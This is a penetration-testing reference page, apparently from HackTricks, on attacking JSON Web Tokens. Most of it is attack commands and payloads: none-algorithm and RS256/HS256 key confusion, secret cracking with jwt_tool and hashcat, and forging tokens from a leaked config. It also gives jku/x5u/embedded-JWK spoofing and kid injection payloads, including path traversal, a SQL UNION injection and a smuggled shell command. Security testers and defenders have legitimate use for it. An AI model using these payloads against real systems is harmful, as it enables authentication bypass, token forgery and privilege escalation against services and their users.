> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# JWT Vulnerabilities

> Attacking JSON Web Tokens: algorithm confusion, none algorithm, brute-force secrets, JWKS spoofing, kid injection, embedded JWK attacks, and token forgery techniques.

JSON Web Tokens (JWTs) are commonly used for authentication and authorization. Numerous implementation flaws can allow attackers to forge tokens and escalate privileges.

## Quick Assessment Workflow

<Steps>
  <Step title="Scope the Session Control">
    Remove cookies/headers one at a time to identify which token gates authorization.
  </Step>

  <Step title="Locate JWTs in Traffic">
    Find JWTs in `Authorization: Bearer`, custom headers, or cookies using regex:

    ```
    [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
    eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
    ```
  </Step>

  <Step title="Decode and Inspect">
    ```bash theme={null}
    python3 jwt_tool.py <JWT>
    # Note: alg, exp, role, id, username, email claims
    ```
  </Step>

  <Step title="Check Signature Enforcement">
    Flip a few bytes in the signature and replay. If accepted, signature validation is missing.
  </Step>

  <Step title="Run All Tests">
    ```bash theme={null}
    python3 jwt_tool.py -M at \
        -t "https://api.example.com/api/v1/user/76bab5dd" \
        -rh "Authorization: Bearer eyJhbG..."
    ```
  </Step>
</Steps>

## Attack Techniques

### Algorithm: None

Some libraries accept `alg: none` tokens without verification:

```json theme={null}
// Modified header
{"alg": "none", "typ": "JWT"}

// Token becomes: base64(header).base64(payload).  (empty signature)
```

Using Burp JWT Editor: `Attack → None Algorithm`

### RS256 → HS256 Confusion (CVE-2016-5431)

Change the algorithm from asymmetric RS256 to symmetric HS256, then sign with the **public key** as the secret:

```bash theme={null}
# Extract the server's public key
openssl s_client -connect example.com:443 2>&1 < /dev/null \
  | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

# Using Burp JWT Editor: Attack → HMAC Key Confusion Attack
```

### Brute-Force HMAC Secret (HS256)

```bash theme={null}
# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d wordlist.txt

# Using hashcat
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r best64.rule
```

### Deriving JWT Secret from Leaked Config

Pattern observed in some workflow automation stacks:

```python theme={null}
# If you have config file + user DB
jwt_secret = sha256(encryption_key[::2]).hexdigest()   # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
```

### JWKS Spoofing (jku Header)

```bash theme={null}
# 1. Verify jku URL points to legitimate JWKS file
# 2. Modify token's jku to point to attacker-controlled URL
# 3. Host malicious JWKS at that URL with your own public key
# 4. Sign modified claims with your private key

python3 jwt_tool.py JWT_HERE -X s
# Generates a JWKS server you control
```

### x5u Header Manipulation

```bash theme={null}
# Generate self-signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout attacker.key -out attacker.crt

# Host attacker.crt at a URL
# Change x5u in token header to point to your cert
# Sign with attacker.key
```

### Embedded JWK (CVE-2018-0114)

Attacker embeds a new public key in the JWT header, and the server uses it:

```bash theme={null}
# Generate new key pair
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt

# Embed public key in JWT header (Burp JWT Editor → Attack → Embedded JWK)
```

### kid (Key ID) Attacks

#### Path Traversal via kid

```bash theme={null}
# Target files with predictable content
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Using /proc/sys/kernel/randomize_va_space (contains "2")
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

# Using null/empty file with AA== key
jwt-editor key: HS256, k=AA==  # then set kid to ../../../dev/null
```

#### SQL Injection via kid

```sql theme={null}
-- kid payload to force known signing key via UNION
non-existent-index' UNION SELECT 'ATTACKER';-- -
```

#### OS Command Injection via kid

```
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
```

### ES256 Private Key Recovery (Same Nonce Reuse)

If ES256 uses the same nonce for two different tokens, the private key can be mathematically recovered. See [ECDSA nonce reuse attack](https://asecuritysite.com/encryption/ecd5).

### JTI (JWT ID) Replay

If the max JTI length is small (e.g., 4 digits: 0001–9999), IDs will wrap around. Send 10000 requests between successful uses to replay an expired JTI.

### Cross-Service Relay Attack

If a shared JWT service issues tokens for multiple clients, a token issued for Client A might be accepted by Client B. Try signing up on another service using the same JWT service and replay the token.

## Expiry and Token Claims

```bash theme={null}
# Read JWT with expiry check (timestamp in UTC)
python3 jwt_tool.py <JWT> -R

# If token has "exp" claim, test replaying after expiry
# Store the token and send it after the indicated expiry time
```

## Tools

<CardGroup cols={3}>
  <Card title="jwt_tool" icon="key">
    Decode, tamper, crack, and run automated attack modes (`-M at` for all tests).
  </Card>

  <Card title="Burp JWT Editor" icon="bug">
    Decode/re-sign in Repeater, generate custom keys, built-in attacks (none, HMAC confusion, embedded JWK, jku/x5u).
  </Card>

  <Card title="hashcat -m 16500" icon="bolt">
    GPU-accelerated HS256 secret cracking.
  </Card>
</CardGroup>

```bash theme={null}
# jwt_tool all tests
python3 jwt_tool.py -M at -t "https://api.target.com/" -rh "Authorization: Bearer <JWT>"

# Dump specific JWT
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
